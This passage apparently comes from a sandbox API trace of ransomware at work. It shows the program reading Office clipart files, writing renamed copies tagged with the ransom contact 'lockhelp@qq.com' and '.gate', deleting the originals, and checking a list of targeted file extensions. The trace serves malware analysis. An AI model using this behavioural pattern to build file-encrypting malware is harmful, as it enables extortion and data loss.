68 [0301.663] lstrlenW (lpString=".jpg") returned 4 [0301.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.664] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1528) returned 1 [0301.664] CloseHandle (hObject=0x564) returned 1 [0301.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x220 [0301.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0301.664] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.664] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0301.665] GetLastError () returned 0x0 [0301.665] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x5f8, lpOverlapped=0x0) returned 1 [0301.738] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x600, lpOverlapped=0x0) returned 1 [0301.739] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.739] WriteFile (in: hFile=0x4f4, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.739] SetEndOfFile (hFile=0x4f4) returned 1 [0301.739] CloseHandle (hObject=0x4f4) returned 1 [0301.739] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.739] SetEndOfFile (hFile=0x564) returned 1 [0301.751] CloseHandle (hObject=0x564) returned 1 [0301.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.754] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0301.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0301.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0301.754] lstrlenW (lpString=".doc") returned 4 [0301.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.755] lstrlenW (lpString=".docx") returned 5 [0301.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.755] lstrlenW (lpString=".pdf") returned 4 [0301.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.755] lstrlenW (lpString=".xls") returned 4 [0301.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.755] lstrlenW (lpString=".xlsx") returned 5 [0301.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.755] lstrlenW (lpString=".ppt") returned 4 [0301.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0301.755] lstrlenW (lpString=".zip") returned 4 [0301.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.755] lstrlenW (lpString=".rar") returned 4 [0301.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.755] lstrlenW (lpString=".bz2") returned 4 [0301.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.755] lstrlenW (lpString=".7z") returned 3 [0301.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0301.755] lstrlenW (lpString=".dbf") returned 4 [0301.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0301.755] lstrlenW (lpString=".1cd") returned 4 [0301.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0301.755] lstrlenW (lpString=".jpg") returned 4 [0301.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.756] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=818) returned 1 [0301.756] CloseHandle (hObject=0x564) returned 1 [0301.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0301.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0301.757] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.757] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0301.757] GetLastError () returned 0x0 [0301.757] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x332, lpOverlapped=0x0) returned 1 [0301.819] WriteFile (in: hFile=0x4f0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x340, lpOverlapped=0x0) returned 1 [0301.820] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.820] WriteFile (in: hFile=0x4f0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.820] SetEndOfFile (hFile=0x4f0) returned 1 [0301.823] CloseHandle (hObject=0x4f0) returned 1 [0301.824] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.824] SetEndOfFile (hFile=0x564) returned 1 [0301.827] CloseHandle (hObject=0x564) returned 1 [0301.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0301.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0301.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0301.841] lstrlenW (lpString=".doc") returned 4 [0301.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.841] lstrlenW (lpString=".docx") returned 5 [0301.841] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.841] lstrlenW (lpString=".pdf") returned 4 [0301.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.841] lstrlenW (lpString=".xls") returned 4 [0301.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.841] lstrlenW (lpString=".xlsx") returned 5 [0301.841] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.841] lstrlenW (lpString=".ppt") returned 4 [0301.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0301.841] lstrlenW (lpString=".zip") returned 4 [0301.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.841] lstrlenW (lpString=".rar") returned 4 [0301.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.841] lstrlenW (lpString=".bz2") returned 4 [0301.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.841] lstrlenW (lpString=".7z") returned 3 [0301.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0301.841] lstrlenW (lpString=".dbf") returned 4 [0301.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0301.841] lstrlenW (lpString=".1cd") returned 4 [0301.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0301.842] lstrlenW (lpString=".jpg") returned 4 [0301.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.842] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3718) returned 1 [0301.842] CloseHandle (hObject=0x4f4) returned 1 [0301.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0301.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0301.843] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.843] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0301.843] GetLastError () returned 0x0 [0301.843] ReadFile (in: hFile=0x4f4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xe86, lpOverlapped=0x0) returned 1 [0301.880] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xe90, lpOverlapped=0x0) returned 1 [0301.880] ReadFile (in: hFile=0x4f4, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.881] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.881] SetEndOfFile (hFile=0x404) returned 1 [0301.881] CloseHandle (hObject=0x404) returned 1 [0301.881] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.881] SetEndOfFile (hFile=0x4f4) returned 1 [0301.883] CloseHandle (hObject=0x4f4) returned 1 [0301.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0301.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0301.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0301.909] lstrlenW (lpString=".doc") returned 4 [0301.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.909] lstrlenW (lpString=".docx") returned 5 [0301.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.909] lstrlenW (lpString=".pdf") returned 4 [0301.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.909] lstrlenW (lpString=".xls") returned 4 [0301.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.910] lstrlenW (lpString=".xlsx") returned 5 [0301.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.910] lstrlenW (lpString=".ppt") returned 4 [0301.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0301.910] lstrlenW (lpString=".zip") returned 4 [0301.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.910] lstrlenW (lpString=".rar") returned 4 [0301.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString=".bz2") returned 4 [0301.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString=".7z") returned 3 [0301.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0301.910] lstrlenW (lpString=".dbf") returned 4 [0301.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0301.910] lstrlenW (lpString=".1cd") returned 4 [0301.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF") returned 68 [0301.910] lstrlenW (lpString=".jpg") returned 4 [0301.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.910] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2116) returned 1 [0301.911] CloseHandle (hObject=0x4e8) returned 1 [0301.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0301.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0301.911] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.911] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0301.912] GetLastError () returned 0x0 [0301.912] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x844, lpOverlapped=0x0) returned 1 [0301.949] WriteFile (in: hFile=0x4b0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x850, lpOverlapped=0x0) returned 1 [0301.949] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.949] WriteFile (in: hFile=0x4b0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.949] SetEndOfFile (hFile=0x4b0) returned 1 [0301.950] CloseHandle (hObject=0x4b0) returned 1 [0301.950] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.950] SetEndOfFile (hFile=0x4e8) returned 1 [0301.952] CloseHandle (hObject=0x4e8) returned 1 [0301.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0301.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0301.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0301.997] lstrlenW (lpString=".doc") returned 4 [0301.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0301.997] lstrlenW (lpString=".docx") returned 5 [0301.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0301.997] lstrlenW (lpString=".pdf") returned 4 [0301.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0301.997] lstrlenW (lpString=".xls") returned 4 [0301.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0301.997] lstrlenW (lpString=".xlsx") returned 5 [0301.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0301.997] lstrlenW (lpString=".ppt") returned 4 [0301.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0301.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0301.997] lstrlenW (lpString=".zip") returned 4 [0301.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0301.998] lstrlenW (lpString=".rar") returned 4 [0301.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0301.998] lstrlenW (lpString=".bz2") returned 4 [0301.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0301.998] lstrlenW (lpString=".7z") returned 3 [0301.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0301.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0301.998] lstrlenW (lpString=".dbf") returned 4 [0301.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0301.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0301.998] lstrlenW (lpString=".1cd") returned 4 [0301.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0301.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0301.998] lstrlenW (lpString=".jpg") returned 4 [0301.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0301.998] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9300) returned 1 [0301.999] CloseHandle (hObject=0x564) returned 1 [0301.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0301.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0301.999] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.999] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0302.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0302.000] GetLastError () returned 0x0 [0302.000] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x2454, lpOverlapped=0x0) returned 1 [0302.047] WriteFile (in: hFile=0x4c0, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2460, lpOverlapped=0x0) returned 1 [0302.048] ReadFile (in: hFile=0x564, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, 